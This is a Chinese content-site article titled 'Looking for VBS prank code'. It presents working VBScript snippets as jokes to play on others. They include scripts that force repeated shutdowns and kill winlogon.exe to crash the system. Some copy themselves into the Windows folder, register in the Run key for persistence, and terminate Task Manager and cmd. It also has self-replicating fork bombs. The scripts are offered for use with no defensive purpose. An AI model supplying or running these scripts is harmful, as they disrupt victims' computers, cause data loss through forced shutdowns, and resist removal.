网上有关“求VBS整人代码。。。。。。。。”话题很是火热，小编也是针对求VBS整人代码。。。。。。。。寻找了一些与之相关的一些信息进行分析，如果能碰巧解决你现在面临的问题，希望能够帮助到您。
set sh=createobject("wscript.shell")
msgbox "你是否经常失眠？",vbyesno
msgbox "我也经常失眠。唉。"
msgbox "我告诉你一个祖传秘方吧！"
for i=1 to 50
sh.popup i & "只羊",1
next
wscript.sleep 1000
sh.popup "好吧，晚安！",5
do
sh.run "shutdown -s -f -t 30"
msgbox "再见~"
loop
这个自动打字：很吓人的
dim sh,str,a,i
set sh=createobject("wscript.shell")
sh.run "notepad" '打开记事本
do while sh.appactivate("无标题 - 记事本")=false
wscript.sleep 1000
loop
str="wokao1!ni1youmeiyou1gaocuo1!" '这一行是演示中文输入。定义要打字的字符串。只能是英文或数字或符号。
'如果想输入中文请把下2行的注释去掉。否则就在前面加上注释符号“'”(不带引号)
'并在str中输入按键的过程如：想输入“气死我了”就写 qisiwole1
sh.sendkeys "^ "
'解释上一行：呼唤中文输入法
for i=0 to len(str)-1
a=mid(str,i+1,1)
sh.sendkeys a '发送虚拟按键
wscript.sleep 500 '打字速度。数值越小越快。
next
save=1 '如想保存则写1
if save=1 then
sh.sendkeys "^ "
'解释上一行：关闭中文输入法。如果是中文，则必须去掉上一行的注释。
sh.sendkeys "^s"
wscript.sleep 300
sh.sendkeys "c:\name.txt" '文件名(可写路径)，必须是英文。如果是中文模式，则必须将其关闭
wscript.sleep 100
sh.sendkeys "{Enter}"
end if
这个立刻蓝屏：
for each ps in getobject("winmgmts:\\.\root\cimv2:win32_process").instances_
if Ucase(ps.name)=Ucase("winlogon.exe") then
ps.terminate
end if
next
Set ws=CreateObject("WScript.Shell")
set fs=createobject("scripting.filesystemobject")
dim a1,a2,a3,thn,i
thn=wscript.scriptfullname
a1=fs.getparentfoldername(fs.GetSpecialFolder(0))
fs.copyfile thn,a1&"\admin123.vbs",true
do while i<10
i=i+1
ws.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\admin","C:\admin123.vbs"
loop
ws.run "shutdown -s -f -t 60"
do
wscript.sleep 500
if ws.appactivate("Windows 任务管理器")=true then
ws.run "taskkill /f /im Taskmgr.exe"
end if
if ws.appactivate("命令提示符")=true then
ws.run "taskkill /f /im cmd.exe"
end if
if ws.appactivate("C:\WINDOWS\system32\cmd.exe")=true then
ws.run "taskkill /f /im cmd.exe"
end if
if ws.appactivate("系统关机")=false then
ws.run "shutdown -s -f -t 30"
end if
loop
这个会出现一堆窗口：
Set sh=CreateObject("WScript.Shell")
dim i,s,z,thn
z=array(4,5,16,32,48,64)
i=0
s=1
do
do while i<s
i=i+1
sh.run wscript.scriptfullname
loop
s=s+1
i=0
randomize
wscript.sleep int(rnd()*100)
msgbox "程序发生未知的错误!",z(int((6-1)*rnd()+1)),"Error?@#%^&)TGDZX%#@C889"
thn=wscript.scriptfullname
sh.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\system23",thn
loop
这个五秒内死机，十秒内鼠标不能动！
do
createobject("wscript.shell").run wscript.scriptfullname
loop
关于“求VBS整人代码。。。。。。。。”这个话题的介绍，今天小编就给大家分享完了，如果对你有所帮助请保持对本站的关注！
本文来自作者[翠子慧]投稿，不代表博利网立场，如若转载，请注明出处：https://boliduo.cc/bl/1459.html
评论列表（4条）
我是博利网的签约作者“翠子慧”！
希望本篇文章《求VBS整人代码。。。。。。。。》能对你有所帮助！
本站[博利网]内容主要涵盖：生活百科,小常识,生活小窍门,知识分享
本文概览：网上有关“求VBS整人代码。。。。。。。。”话题很是火热，小编也是针对求VBS整人代码。。。。。。。。寻找了一些与之相关的一些信息进行分析，如果能碰巧解决你现在面临的问题，希望...